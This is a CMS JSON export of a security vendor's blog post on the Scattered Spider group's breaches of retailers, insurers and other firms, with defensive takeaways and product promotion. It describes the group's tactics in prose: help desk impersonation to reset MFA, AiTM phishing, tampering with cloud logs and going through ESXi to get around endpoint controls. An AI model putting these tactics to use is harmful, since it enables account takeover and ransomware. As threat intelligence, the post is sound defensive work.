[],{"data":118719,"content":118720,"nodeType":866},{},[118721],{"data":118722,"marks":118723,"value":103821,"nodeType":865},{},[],{"data":118725,"content":118726,"nodeType":1616},{},[118727,118736,118745],{"data":118728,"content":118729,"nodeType":1570},{},[118730],{"data":118731,"content":118732,"nodeType":866},{},[118733],{"data":118734,"marks":118735,"value":103834,"nodeType":865},{},[],{"data":118737,"content":118738,"nodeType":1570},{},[118739],{"data":118740,"content":118741,"nodeType":866},{},[118742],{"data":118743,"marks":118744,"value":103844,"nodeType":865},{},[],{"data":118746,"content":118747,"nodeType":1570},{},[118748],{"data":118749,"content":118750,"nodeType":866},{},[118751],{"data":118752,"marks":118753,"value":103854,"nodeType":865},{},[],{"data":118755,"content":118756,"nodeType":972},{},[],{"data":118758,"content":118759,"nodeType":981},{},[118760],{"data":118761,"marks":118762,"value":103865,"nodeType":865},{},[118763],{"type":926},{"data":118765,"content":118766,"nodeType":866},{},[118767,118770,118777],{"data":118768,"marks":118769,"value":103872,"nodeType":865},{},[],{"data":118771,"content":118772,"nodeType":889},{"uri":6698},[118773],{"data":118774,"marks":118775,"value":103880,"nodeType":865},{},[118776],{"type":943},{"data":118778,"marks":118779,"value":103884,"nodeType":865},{},[],{"data":118781,"content":118782,"nodeType":866},{},[118783],{"data":118784,"marks":118785,"value":103891,"nodeType":865},{},[],{"data":118787,"content":118788,"nodeType":1616},{},[118789,118798],{"data":118790,"content":118791,"nodeType":1570},{},[118792],{"data":118793,"content":118794,"nodeType":866},{},[118795],{"data":118796,"marks":118797,"value":103904,"nodeType":865},{},[],{"data":118799,"content":118800,"nodeType":1570},{},[118801],{"data":118802,"content":118803,"nodeType":866},{},[118804],{"data":118805,"marks":118806,"value":103914,"nodeType":865},{},[],{"data":118808,"content":118809,"nodeType":866},{},[118810],{"data":118811,"marks":118812,"value":103921,"nodeType":865},{},[],{"data":118814,"content":118817,"nodeType":912},{"target":118815},{"sys":118816},{"id":103926,"type":909,"linkType":910},[],{"data":118819,"content":118820,"nodeType":972},{},[],{"data":118822,"content":118823,"nodeType":981},{},[118824],{"data":118825,"marks":118826,"value":103938,"nodeType":865},{},[118827],{"type":926},{"data":118829,"content":118830,"nodeType":866},{},[118831],{"data":118832,"marks":118833,"value":103945,"nodeType":865},{},[],{"data":118835,"content":118836,"nodeType":1616},{},[118837,118866,118895,118914],{"data":118838,"content":118839,"nodeType":1570},{},[118840],{"data":118841,"content":118842,"nodeType":866},{},[118843,118846,118853,118856,118863],{"data":118844,"marks":118845,"value":21,"nodeType":865},{},[],{"data":118847,"content":118848,"nodeType":889},{"uri":103960},[118849],{"data":118850,"marks":118851,"value":103966,"nodeType":865},{},[118852],{"type":943},{"data":118854,"marks":118855,"value":103970,"nodeType":865},{},[],{"data":118857,"content":118858,"nodeType":889},{"uri":103973},[118859],{"data":118860,"marks":118861,"value":103979,"nodeType":865},{},[118862],{"type":943},{"data":118864,"marks":118865,"value":46245,"nodeType":865},{},[],{"data":118867,"content":118868,"nodeType":1570},{},[118869],{"data":118870,"content":118871,"nodeType":866},{},[118872,118875,118882,118885,118892],{"data":118873,"marks":118874,"value":21,"nodeType":865},{},[],{"data":118876,"content":118877,"nodeType":889},{"uri":56197},[118878],{"data":118879,"marks":118880,"value":84010,"nodeType":865},{},[118881],{"type":943},{"data":118883,"marks":118884,"value":104002,"nodeType":865},{},[],{"data":118886,"content":118887,"nodeType":889},{"uri":104005},[118888],{"data":118889,"marks":118890,"value":104011,"nodeType":865},{},[118891],{"type":943},{"data":118893,"marks":118894,"value":104015,"nodeType":865},{},[],{"data":118896,"content":118897,"nodeType":1570},{},[118898],{"data":118899,"content":118900,"nodeType":866},{},[118901,118904,118911],{"data":118902,"marks":118903,"value":21,"nodeType":865},{},[],{"data":118905,"content":118906,"nodeType":889},{"uri":8450},[118907],{"data":118908,"marks":118909,"value":360,"nodeType":865},{},[118910],{"type":943},{"data":118912,"marks":118913,"value":104035,"nodeType":865},{},[],{"data":118915,"content":118916,"nodeType":1570},{},[118917],{"data":118918,"content":118919,"nodeType":866},{},[118920,118923,118930,118933,118940],{"data":118921,"marks":118922,"value":21,"nodeType":865},{},[],{"data":118924,"content":118925,"nodeType":889},{"uri":104047},[118926],{"data":118927,"marks":118928,"value":97584,"nodeType":865},{},[118929],{"type":943},{"data":118931,"marks":118932,"value":104056,"nodeType":865},{},[],{"data":118934,"content":118935,"nodeType":889},{"uri":104059},[118936],{"data":118937,"marks":118938,"value":104065,"nodeType":865},{},[118939],{"type":943},{"data":118941,"marks":118942,"value":104069,"nodeType":865},{},[],{"data":118944,"content":118945,"nodeType":972},{},[],{"data":118947,"content":118948,"nodeType":981},{},[118949],{"data":118950,"marks":118951,"value":34483,"nodeType":865},{},[118952],{"type":926},{"data":118954,"content":118955,"nodeType":866},{},[118956],{"data":118957,"marks":118958,"value":104086,"nodeType":865},{},[],{"data":118960,"content":118961,"nodeType":866},{},[118962,118965,118972],{"data":118963,"marks":118964,"value":104093,"nodeType":865},{},[],{"data":118966,"content":118967,"nodeType":889},{"uri":16069},[118968],{"data":118969,"marks":118970,"value":11405,"nodeType":865},{},[118971],{"type":943},{"data":118973,"marks":118974,"value":1615,"nodeType":865},{},[],{"items":118976},[118977,118979],{"sys":118978,"name":342},{"id":4642},{"sys":118980,"name":7796},{"id":7795},{"items":118982},[118983],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":118984},{"url":11425},"blog/introducing-push-detections",{"json":118987},{"data":118988,"content":118989,"nodeType":1382},{},[118990],{"data":118991,"content":118992,"nodeType":866},{},[118993],{"data":118994,"marks":118995,"value":118996,"nodeType":865},{},[],"We’re launching a new Detections capability to provide deeper context and fine-grained data points on attacks that Push intercepts in the browser — enabling security teams to more effectively investigate and triage alerts, and build more effective workflows. ",{"id":79944,"publishedAt":118998},"2026-08-12T11:57:07.160Z",{"items":119000},[119001,119003],{"sys":119002,"name":342},{"id":4642},{"sys":119004,"name":7796},{"id":7795},{"items":119006},[119007,119009,119011,119013,119015,119017,119019,119021,119023,119025,119027,119029,119031,119033,119035,119037,119039,119041,119043,119045],{"sys":119008,"name":342,"slug":343,"tier":31},{"id":339},{"sys":119010,"name":297,"slug":298,"tier":31},{"id":294},{"sys":119012,"name":279,"slug":280,"tier":31},{"id":276},{"sys":119014,"name":413,"slug":414,"tier":31},{"id":410},{"sys":119016,"name":519,"slug":520,"tier":31},{"id":516},{"sys":119018,"name":642,"slug":643,"tier":31},{"id":639},{"sys":119020,"name":598,"slug":599,"tier":45},{"id":595},{"sys":119022,"name":351,"slug":352,"tier":45},{"id":348},{"sys":119024,"name":261,"slug":262,"tier":45},{"id":258},{"sys":119026,"name":466,"slug":467,"tier":45},{"id":463},{"sys":119028,"name":324,"slug":325,"tier":45},{"id":321},{"sys":119030,"name":571,"slug":572,"tier":45},{"id":568},{"sys":119032,"name":475,"slug":476,"tier":45},{"id":472},{"sys":119034,"name":440,"slug":441,"tier":45},{"id":437},{"sys":119036,"name":395,"slug":396,"tier":45},{"id":392},{"sys":119038,"name":484,"slug":485,"tier":45},{"id":481},{"sys":119040,"name":404,"slug":405,"tier":45},{"id":401},{"sys":119042,"name":502,"slug":503,"tier":45},{"id":499},{"sys":119044,"name":333,"slug":334,"tier":45},{"id":330},{"sys":119046,"name":377,"slug":378,"tier":45},{"id":374},"OT40_IRQG6rt0Aw2rPIT9BdVFUpnaaEb-tDlia6pFD4",{"id":119049,"title":119050,"authorsCollection":119051,"content":119056,"extension":228,"faqItemsCollection":119862,"faqTitle":59,"featured":6,"hashTags":59,"meta":119864,"metaTitle":119865,"ogImage":119866,"postType":72060,"publishedDate":119868,"relatedBlogPostsCollection":119869,"slug":121276,"stem":121277,"subtitle":59,"summary":121278,"synopsis":121289,"sys":121290,"tagsCollection":121293,"topicsCollection":121299,"__hash__":121337},"blog/blog/key-takeaways-from-the-scattered-spider-attacks-on-insurance-firms.json","3 key takeaways from the Scattered Spider attacks on aviation & insurance firms",{"items":119052},[119053],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":119054,"profilePicture":119055},[30152],{"url":7804},{"json":119057,"links":119767},{"data":119058,"content":119059,"nodeType":1382},{},[119060,119065,119129,119136,119143,119146,119152,119159,119207,119214,119217,119224,119252,119341,119357,119362,119365,119372,119379,119385,119391,119398,119476,119483,119525,119533,119536,119543,119550,119557,119564,119571,119577,119580,119587,119607,119614,119637,119644,119647,119653,119659,119665,119670,119687,119692,119698,119705,119711,119714,119720,119739,119756,119761],{"data":119061,"content":119064,"nodeType":912},{"target":119062},{"sys":119063},{"id":53916,"type":909,"linkType":910},[],{"data":119066,"content":119067,"nodeType":866},{},[119068,119072,119079,119082,119089,119092,119099,119102,119108,119111,119117,119120,119126],{"data":119069,"marks":119070,"value":119071,"nodeType":865},{},[],"Scattered Spider continues to dominate the headlines, with the latest news linking the hackers to attacks on U.S. insurance giant ",{"data":119073,"content":119074,"nodeType":889},{"uri":54051},[119075],{"data":119076,"marks":119077,"value":54057,"nodeType":865},{},[119078],{"type":943},{"data":119080,"marks":119081,"value":2717,"nodeType":865},{},[],{"data":119083,"content":119084,"nodeType":889},{"uri":54063},[119085],{"data":119086,"marks":119087,"value":54069,"nodeType":865},{},[119088],{"type":943},{"data":119090,"marks":119091,"value":2717,"nodeType":865},{},[],{"data":119093,"content":119094,"nodeType":889},{"uri":54076},[119095],{"data":119096,"marks":119097,"value":54082,"nodeType":865},{},[119098],{"type":943},{"data":119100,"marks":119101,"value":54086,"nodeType":865},{},[],{"data":119103,"content":119104,"nodeType":889},{"uri":54089},[119105],{"data":119106,"marks":119107,"value":54094,"nodeType":865},{},[],{"data":119109,"marks":119110,"value":2717,"nodeType":865},{},[],{"data":119112,"content":119113,"nodeType":889},{"uri":54100},[119114],{"data":119115,"marks":119116,"value":54105,"nodeType":865},{},[],{"data":119118,"marks":119119,"value":4988,"nodeType":865},{},[],{"data":119121,"content":119122,"nodeType":889},{"uri":54100},[119123],{"data":119124,"marks":119125,"value":54115,"nodeType":865},{},[],{"data":119127,"marks":119128,"value":6719,"nodeType":865},{},[],{"data":119130,"content":119131,"nodeType":866},{},[119132],{"data":119133,"marks":119134,"value":119135,"nodeType":865},{},[],"This comes at the same time that Google Threat Intelligence Group shared that it “is now aware of multiple intrusions in the U.S. which bear the hallmarks of Scattered Spider activity”, specifically impacting the insurance industry. ",{"data":119137,"content":119138,"nodeType":866},{},[119139],{"data":119140,"marks":119141,"value":119142,"nodeType":865},{},[],"But what exactly does this mean? To answer this, let’s quickly recap how we got here and what a Scattered Spider attack looks like.  ",{"data":119144,"content":119145,"nodeType":972},{},[],{"data":119147,"content":119148,"nodeType":981},{},[119149],{"data":119150,"marks":119151,"value":52984,"nodeType":865},{},[],{"data":119153,"content":119154,"nodeType":866},{},[119155],{"data":119156,"marks":119157,"value":119158,"nodeType":865},{},[],"The criminal collective tracked by analysts as Scattered Spider has been active since 2022 and have been linked to a range of high-profile breaches, for example the attacks on Caesars and MGM Resorts in 2023, and Transport for London in 2024. ",{"data":119160,"content":119161,"nodeType":1616},{},[119162,119177,119192],{"data":119163,"content":119164,"nodeType":1570},{},[119165],{"data":119166,"content":119167,"nodeType":866},{},[119168,119173],{"data":119169,"marks":119170,"value":119172,"nodeType":865},{},[119171],{"type":926},"Caesars: ",{"data":119174,"marks":119175,"value":119176,"nodeType":865},{},[],"hackers impersonated an IT user and convinced an outsourced help desk to reset credentials, after which the attacker stole the customer loyalty program database and secured a $15m ransom payment. ",{"data":119178,"content":119179,"nodeType":1570},{},[119180],{"data":119181,"content":119182,"nodeType":866},{},[119183,119188],{"data":119184,"marks":119185,"value":119187,"nodeType":865},{},[119186],{"type":926},"MGM Resorts: ",{"data":119189,"marks":119190,"value":119191,"nodeType":865},{},[],"hackers used LinkedIn information to impersonate an employee and reset the employee’s credentials, resulting in a 6TB data theft. After MGM refused to pay, the attack eventually resulted in a 36-hour outage, a $100m hit, and a class-action lawsuit settled for $45m. ",{"data":119193,"content":119194,"nodeType":1570},{},[119195],{"data":119196,"content":119197,"nodeType":866},{},[119198,119203],{"data":119199,"marks":119200,"value":119202,"nodeType":865},{},[119201],{"type":926},"Transport for London:",{"data":119204,"marks":119205,"value":119206,"nodeType":865},{},[]," resulted in 5,000 users’ bank details exposed, 30,000 staff required to attend in-person appointments to verify their identities and reset passwords, and significant disruption to online services lasting for months.",{"data":119208,"content":119209,"nodeType":866},{},[119210],{"data":119211,"marks":119212,"value":119213,"nodeType":865},{},[],"The calling card in these attacks was the abuse of help desk processes to reset passwords and/or MFA factors used to access an account. The attacker simply calls up the help desk with enough information to impersonate an employee, asks them to send an MFA enrollment link for their new mobile device, and can then utilize self-service password reset functionality to take control of the account. Scarily simple. ",{"data":119215,"content":119216,"nodeType":972},{},[],{"data":119218,"content":119219,"nodeType":981},{},[119220],{"data":119221,"marks":119222,"value":119223,"nodeType":865},{},[],"Scattered Spider’s resurgence in 2025",{"data":119225,"content":119226,"nodeType":866},{},[119227,119231,119238,119241,119248],{"data":119228,"marks":119229,"value":119230,"nodeType":865},{},[],"This technique was reprised in a series of high-profile attacks in 2025, with major breaches of UK retailers ",{"data":119232,"content":119233,"nodeType":889},{"uri":53927},[119234],{"data":119235,"marks":119236,"value":53933,"nodeType":865},{},[119237],{"type":943},{"data":119239,"marks":119240,"value":4988,"nodeType":865},{},[],{"data":119242,"content":119243,"nodeType":889},{"uri":53939},[119244],{"data":119245,"marks":119246,"value":53945,"nodeType":865},{},[119247],{"type":943},{"data":119249,"marks":119250,"value":119251,"nodeType":865},{},[]," dominating the headlines. Both resulted in the loss of sensitive data and prolonged disruption to in-store and digital services, with M&S feeling the pain of £300m in lost profits and a share value hit approaching £1b, and a multimillion-pound class action lawsuit and possible ICO fines looming.",{"data":119253,"content":119254,"nodeType":866},{},[119255,119258,119265,119268,119275,119278,119285,119288,119295,119298,119305,119308,119315,119318,119325,119329,119337],{"data":119256,"marks":119257,"value":53956,"nodeType":865},{},[],{"data":119259,"content":119260,"nodeType":889},{"uri":53959},[119261],{"data":119262,"marks":119263,"value":53965,"nodeType":865},{},[119264],{"type":943},{"data":119266,"marks":119267,"value":2717,"nodeType":865},{},[],{"data":119269,"content":119270,"nodeType":889},{"uri":53971},[119271],{"data":119272,"marks":119273,"value":53977,"nodeType":865},{},[119274],{"type":943},{"data":119276,"marks":119277,"value":2717,"nodeType":865},{},[],{"data":119279,"content":119280,"nodeType":889},{"uri":53983},[119281],{"data":119282,"marks":119283,"value":53989,"nodeType":865},{},[119284],{"type":943},{"data":119286,"marks":119287,"value":2717,"nodeType":865},{},[],{"data":119289,"content":119290,"nodeType":889},{"uri":53995},[119291],{"data":119292,"marks":119293,"value":54001,"nodeType":865},{},[119294],{"type":943},{"data":119296,"marks":119297,"value":2717,"nodeType":865},{},[],{"data":119299,"content":119300,"nodeType":889},{"uri":54007},[119301],{"data":119302,"marks":119303,"value":54013,"nodeType":865},{},[119304],{"type":943},{"data":119306,"marks":119307,"value":2717,"nodeType":865},{},[],{"data":119309,"content":119310,"nodeType":889},{"uri":54019},[119311],{"data":119312,"marks":119313,"value":54025,"nodeType":865},{},[119314],{"type":943},{"data":119316,"marks":119317,"value":3476,"nodeType":865},{},[],{"data":119319,"content":119320,"nodeType":889},{"uri":54031},[119321],{"data":119322,"marks":119323,"value":54037,"nodeType":865},{},[119324],{"type":943},{"data":119326,"marks":119327,"value":119328,"nodeType":865},{},[]," were among the retailers to suffer a breach between May-June 2025. Unlike the ",{"data":119330,"content":119331,"nodeType":889},{"uri":3488},[119332],{"data":119333,"marks":119334,"value":119336,"nodeType":865},{},[119335],{"type":943},"mass Snowflake breaches in 2024",{"data":119338,"marks":119339,"value":119340,"nodeType":865},{},[]," (which targeted a single platform used by many organizations), these attacks are notable in that they are seemingly unrelated — they simply represent a concerted effort by attackers to target the retail sector. ",{"data":119342,"content":119343,"nodeType":866},{},[119344,119348,119353],{"data":119345,"marks":119346,"value":119347,"nodeType":865},{},[],"Less details have been provided about these attacks compared to the M&S and Co-op breaches, but a number of them specifically point to the use of ",{"data":119349,"marks":119350,"value":119352,"nodeType":865},{},[119351],{"type":926},"identity-based techniques",{"data":119354,"marks":119355,"value":119356,"nodeType":865},{},[]," as opposed to more traditional software exploits — another hallmark of Scattered Spider. This leads us to our first key takeaway…",{"data":119358,"content":119361,"nodeType":912},{"target":119359},{"sys":119360},{"id":54408,"type":909,"linkType":910},[],{"data":119363,"content":119364,"nodeType":972},{},[],{"data":119366,"content":119367,"nodeType":981},{},[119368],{"data":119369,"marks":119370,"value":119371,"nodeType":865},{},[],"Takeaway #1: Identity-based TTPs are the new normal",{"data":119373,"content":119374,"nodeType":866},{},[119375],{"data":119376,"marks":119377,"value":119378,"nodeType":865},{},[],"Scattered Spider’s attacks are the latest in a growing number of identity-based breaches. When we look back at Scattered Spider’s TTP evolution, we can see that they have consistently exploited identity-based weaknesses in order to gain access to victim environments. ",{"data":119380,"content":119384,"nodeType":912},{"target":119381},{"sys":119382},{"id":119383,"type":909,"linkType":910},"2vs8WgO4gfGLxscjGMBSY6",[],{"data":119386,"content":119387,"nodeType":866},{},[119388],{"data":119389,"marks":119390,"value":54290,"nodeType":865},{},[],{"data":119392,"content":119393,"nodeType":866},{},[119394],{"data":119395,"marks":119396,"value":119397,"nodeType":865},{},[],"Scattered Spider has heavily relied on identity-based TTPs since they first emerged in 2022, following a repeatable path of bypassing MFA, achieving account takeover on privileged accounts, stealing data from cloud services, and deploying ransomware (principally in VMware environments). TTPs used by Scattered Spider include:",{"data":119399,"content":119400,"nodeType":1616},{},[119401,119410,119419,119438,119447,119456],{"data":119402,"content":119403,"nodeType":1570},{},[119404],{"data":119405,"content":119406,"nodeType":866},{},[119407],{"data":119408,"marks":119409,"value":54322,"nodeType":865},{},[],{"data":119411,"content":119412,"nodeType":1570},{},[119413],{"data":119414,"content":119415,"nodeType":866},{},[119416],{"data":119417,"marks":119418,"value":54332,"nodeType":865},{},[],{"data":119420,"content":119421,"nodeType":1570},{},[119422],{"data":119423,"content":119424,"nodeType":866},{},[119425,119428,119435],{"data":119426,"marks":119427,"value":54342,"nodeType":865},{},[],{"data":119429,"content":119430,"nodeType":889},{"uri":53203},[119431],{"data":119432,"marks":119433,"value":53208,"nodeType":865},{},[119434],{"type":943},{"data":119436,"marks":119437,"value":54353,"nodeType":865},{},[],{"data":119439,"content":119440,"nodeType":1570},{},[119441],{"data":119442,"content":119443,"nodeType":866},{},[119444],{"data":119445,"marks":119446,"value":54363,"nodeType":865},{},[],{"data":119448,"content":119449,"nodeType":1570},{},[119450],{"data":119451,"content":119452,"nodeType":866},{},[119453],{"data":119454,"marks":119455,"value":54373,"nodeType":865},{},[],{"data":119457,"content":119458,"nodeType":1570},{},[119459],{"data":119460,"content":119461,"nodeType":866},{},[119462,119465,119472],{"data":119463,"marks":119464,"value":54383,"nodeType":865},{},[],{"data":119466,"content":119467,"nodeType":889},{"uri":54386},[119468],{"data":119469,"marks":119470,"value":54392,"nodeType":865},{},[119471],{"type":943},{"data":119473,"marks":119474,"value":119475,"nodeType":865},{},[]," to steal live user sessions",{"data":119477,"content":119478,"nodeType":866},{},[119479],{"data":119480,"marks":119481,"value":119482,"nodeType":865},{},[],"So, help desk scams are an important part of their toolkit, but it’s not the whole picture. Methods like AiTM phishing in particular have spiked in popularity this year as a reliable and scalable way of bypassing MFA and achieving account takeover.",{"data":119484,"content":119485,"nodeType":866},{},[119486,119490,119499,119502,119509,119513,119522],{"data":119487,"marks":119488,"value":119489,"nodeType":865},{},[],"It’s important not to think about these techniques as just a Scattered Spider trait either. After all, Scattered Spider is not a self-identified group — it’s a name given by analysts to patterns of activity. Given the series of arrests in 2024, it’s unlikely that the current incarnation of Scattered Spider is the same individuals behind the attacks in 2022-2024. And these identity-based attack patterns are shared across various self-named criminal groups like, ",{"data":119491,"content":119493,"nodeType":889},{"uri":119492},"https://www.cisa.gov/sites/default/files/2023-08/CSRB_Lapsus%24_508c.pdf",[119494],{"data":119495,"marks":119496,"value":119498,"nodeType":865},{},[119497],{"type":943},"Lapsus$, Yanluowang, Karakurt",{"data":119500,"marks":119501,"value":3476,"nodeType":865},{},[],{"data":119503,"content":119504,"nodeType":889},{"uri":3488},[119505],{"data":119506,"marks":119507,"value":3825,"nodeType":865},{},[119508],{"type":943},{"data":119510,"marks":119511,"value":119512,"nodeType":865},{},[],". Even Russian state-sponsored actors are ",{"data":119514,"content":119516,"nodeType":889},{"uri":119515},"https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/",[119517],{"data":119518,"marks":119519,"value":119521,"nodeType":865},{},[119520],{"type":943},"increasingly using the kinds of techniques popularised by criminal groups",{"data":119523,"marks":119524,"value":1615,"nodeType":865},{},[],{"data":119526,"content":119527,"nodeType":866},{},[119528],{"data":119529,"marks":119530,"value":119532,"nodeType":865},{},[119531],{"type":926},"Simply, identity-based techniques are the new normal for attackers in 2025. ",{"data":119534,"content":119535,"nodeType":972},{},[],{"data":119537,"content":119538,"nodeType":981},{},[119539],{"data":119540,"marks":119541,"value":119542,"nodeType":865},{},[],"Takeaway #2: Help desk scams aren't new, but they're here to stay",{"data":119544,"content":119545,"nodeType":866},{},[119546],{"data":119547,"marks":119548,"value":119549,"nodeType":865},{},[],"As we established earlier, help desk scams are nothing new (we saw them in the Caesars, MGM Resorts, and Transport for London breaches to name a few). But they’re likely to become increasingly prevalent as Scattered Spider continues to demonstrate just how effective help desk scams are. ",{"data":119551,"content":119552,"nodeType":866},{},[119553],{"data":119554,"marks":119555,"value":119556,"nodeType":865},{},[],"One of the reasons they’re so effective is that most help desks have the same process for every account — it doesn’t matter who you’re impersonating or which account you’re trying to reset. So, attackers are specifically targeting accounts likely to have top tier admin privileges — meaning once they get in, progressing the attack is trivial and much of the typical privilege escalation and lateral movement is removed from the attack path. ",{"data":119558,"content":119559,"nodeType":866},{},[119560],{"data":119561,"marks":119562,"value":119563,"nodeType":865},{},[],"Help desks are a target for a reason. They’re “helpful” by nature. This is usually reflected in how they’re operated and performance measured — delays won’t help you to hit those SLAs! Ultimately, a process only works if employees are willing to adhere to it — and can’t be socially engineered to break it. Help desks that are removed from day-to-day operations (especially when outsourced or offshored) are also inherently susceptible to attacks where employees are impersonated. ",{"data":119565,"content":119566,"nodeType":866},{},[119567],{"data":119568,"marks":119569,"value":119570,"nodeType":865},{},[],"But, the attacks that organizations are experiencing at the moment should give security stakeholders plenty of ammunition as to why help desk reforms are vital to securing the business (and what can happen if you don’t make changes). ",{"data":119572,"content":119576,"nodeType":912},{"target":119573},{"sys":119574},{"id":119575,"type":909,"linkType":910},"5Z3J9QuPKesWShV4OGMrYt",[],{"data":119578,"content":119579,"nodeType":972},{},[],{"data":119581,"content":119582,"nodeType":981},{},[119583],{"data":119584,"marks":119585,"value":119586,"nodeType":865},{},[],"Takeaway #3: Scattered Spider are consciously evading established security controls",{"data":119588,"content":119589,"nodeType":866},{},[119590,119594,119599,119602],{"data":119591,"marks":119592,"value":119593,"nodeType":865},{},[],"So, there’s more to Scattered Spider’s toolkit than just help desk scams. In fact, their approach can be broadly classified as",{"data":119595,"marks":119596,"value":119598,"nodeType":865},{},[119597],{"type":926}," consciously evading established controls",{"data":119600,"marks":119601,"value":2688,"nodeType":865},{},[],{"data":119603,"marks":119604,"value":119606,"nodeType":865},{},[119605],{"type":926},"at the endpoint and network layer by targeting identities. ",{"data":119608,"content":119609,"nodeType":866},{},[119610],{"data":119611,"marks":119612,"value":119613,"nodeType":865},{},[],"From the point of account takeover, they also follow repeatable patterns:",{"data":119615,"content":119616,"nodeType":1616},{},[119617,119627],{"data":119618,"content":119619,"nodeType":1570},{},[119620],{"data":119621,"content":119622,"nodeType":866},{},[119623],{"data":119624,"marks":119625,"value":119626,"nodeType":865},{},[],"Harvesting and exfiltrating data from cloud and SaaS services, where monitoring is typically less consistent than traditional on-premise environments, and exfiltration often blends in with normal activity. Many organizations simply don’t have the logs or visibility to detect malicious activity in the cloud anyway, and Scattered Spider have also been seen tampering with cloud logs (e.g. filtering risky AWS CloudTrail logs, but not disabling it entirely so as not to raise suspicion).",{"data":119628,"content":119629,"nodeType":1570},{},[119630],{"data":119631,"content":119632,"nodeType":866},{},[119633],{"data":119634,"marks":119635,"value":119636,"nodeType":865},{},[],"Targeting VMware environments for ransomware deployment. They do this by adding their compromised user account to the VMware admins group in VCentre (if needed — they are going after accounts with top tier privileges by default). From here, they can access the VMware environment via the ESXi hypervisor layer, where security software is nonexistent — thereby bypassing EDR and other typical endpoint and host based controls you rely on to prevent ransomware execution. ",{"data":119638,"content":119639,"nodeType":866},{},[119640],{"data":119641,"marks":119642,"value":119643,"nodeType":865},{},[],"The key theme? Getting around your established security controls. ",{"data":119645,"content":119646,"nodeType":972},{},[],{"data":119648,"content":119649,"nodeType":981},{},[119650],{"data":119651,"marks":119652,"value":54419,"nodeType":865},{},[],{"data":119654,"content":119655,"nodeType":866},{},[119656],{"data":119657,"marks":119658,"value":54426,"nodeType":865},{},[],{"data":119660,"content":119661,"nodeType":866},{},[119662],{"data":119663,"marks":119664,"value":54433,"nodeType":865},{},[],{"data":119666,"content":119669,"nodeType":912},{"target":119667},{"sys":119668},{"id":54438,"type":909,"linkType":910},[],{"data":119671,"content":119672,"nodeType":866},{},[119673,119677,119684],{"data":119674,"marks":119675,"value":119676,"nodeType":865},{},[],"To help combat help desk scams, Push recently released ",{"data":119678,"content":119679,"nodeType":889},{"uri":54449},[119680],{"data":119681,"marks":119682,"value":54456,"nodeType":865},{},[119683],{"type":926},{"data":119685,"marks":119686,"value":54460,"nodeType":865},{},[],{"data":119688,"content":119691,"nodeType":912},{"target":119689},{"sys":119690},{"id":54465,"type":909,"linkType":910},[],{"data":119693,"content":119694,"nodeType":866},{},[119695],{"data":119696,"marks":119697,"value":54473,"nodeType":865},{},[],{"data":119699,"content":119700,"nodeType":866},{},[119701],{"data":119702,"marks":119703,"value":119704,"nodeType":865},{},[],"Eric Rubin — a Senior Manager in GitLab’s Corporate Security team — has already rolled out Employee Identity Verification Codes across his workforce. Here’s what he had to say:",{"data":119706,"content":119710,"nodeType":912},{"target":119707},{"sys":119708},{"id":119709,"type":909,"linkType":910},"jHH13doHHHaqUUxHoBeKW",[],{"data":119712,"content":119713,"nodeType":972},{},[],{"data":119715,"content":119716,"nodeType":981},{},[119717],{"data":119718,"marks":119719,"value":54483,"nodeType":865},{},[],{"data":119721,"content":119722,"nodeType":866},{},[119723,119726,119735],{"data":119724,"marks":119725,"value":54490,"nodeType":865},{},[],{"data":119727,"content":119729,"nodeType":889},{"uri":119728},"https://pushsecurity.com/free-tool/employee-verification-codes?utm_campaign=15408561-FY25Q2-Employee-verification-codes&utm_source=Sponsored-content&utm_content=bleepingcomputer",[119730],{"data":119731,"marks":119732,"value":119734,"nodeType":865},{},[119733],{"type":943},"sign up for a trial account and you can deploy the extension organization-wide to make use of this feature.",{"data":119736,"marks":119737,"value":119738,"nodeType":865},{},[]," While you’re at it, you can trial Push’s full features for up to 10 users for free. ",{"data":119740,"content":119741,"nodeType":866},{},[119742,119745,119753],{"data":119743,"marks":119744,"value":54510,"nodeType":865},{},[],{"data":119746,"content":119748,"nodeType":889},{"uri":119747},"https://pushsecurity.com/demo/?utm_campaign=12883224-FY25Q2_Scattered-Spider&utm_source=bleepingcomputer&utm_content=sponsored-article",[119749],{"data":119750,"marks":119751,"value":11405,"nodeType":865},{},[119752],{"type":943},{"data":119754,"marks":119755,"value":1615,"nodeType":865},{},[],{"data":119757,"content":119760,"nodeType":912},{"target":119758},{"sys":119759},{"id":54525,"type":909,"linkType":910},[],{"data":119762,"content":119763,"nodeType":866},{},[119764],{"data":119765,"marks":119766,"value":21,"nodeType":865},{},[],{"entries":119768},{"hyperlink":119769,"inline":119770,"block":119771},[],[],[119772,119808,119813,119819,119843,119848,119851,119858],{"sys":119773,"__typename":5503,"content":119774,"name":119807,"title":59},{"id":53916},{"json":119775},{"nodeType":1382,"data":119776,"content":119777},{},[119778],{"nodeType":866,"data":119779,"content":119780},{},[119781,119785,119792,119796,119803],{"nodeType":865,"value":119782,"marks":119783,"data":119784},"It's been a busy year for cyber criminals! This article has now been superseded with the rise to infamy of ",[],{},{"nodeType":889,"data":119786,"content":119787},{"uri":83801},[119788],{"nodeType":865,"value":119789,"marks":119790,"data":119791},"\"Scattered Lapsus$ Hunters\"",[],{},{"nodeType":865,"value":119793,"marks":119794,"data":119795},". The guidance and TTPs in this blog post still apply, but ",[],{},{"nodeType":889,"data":119797,"content":119798},{"uri":83801},[119799],{"nodeType":865,"value":119800,"marks":119801,"data":119802},"check out our new post",[],{},{"nodeType":865,"value":119804,"marks":119805,"data":119806}," for the full picture of Scattered Spider-linked breaches dating back to 2021. ",[],{},"SS insight box 1",{"sys":119809,"__typename":1414,"type":1415,"ctaText":119810,"buttonLabel":119811,"buttonColour":1418,"buttonUrl":119812},{"id":54408},"Learn about Scattered Spider's latest TTPs in our on-demand webinar","Watch on-demand","https://pushsecurity.com/webinar/scatteredspider",{"sys":119814,"__typename":1390,"title":119815,"caption":119815,"layoutMode":59,"file":119816},{"id":119383},"Scattered Spider initial access vectors in public breaches where the attack vector was 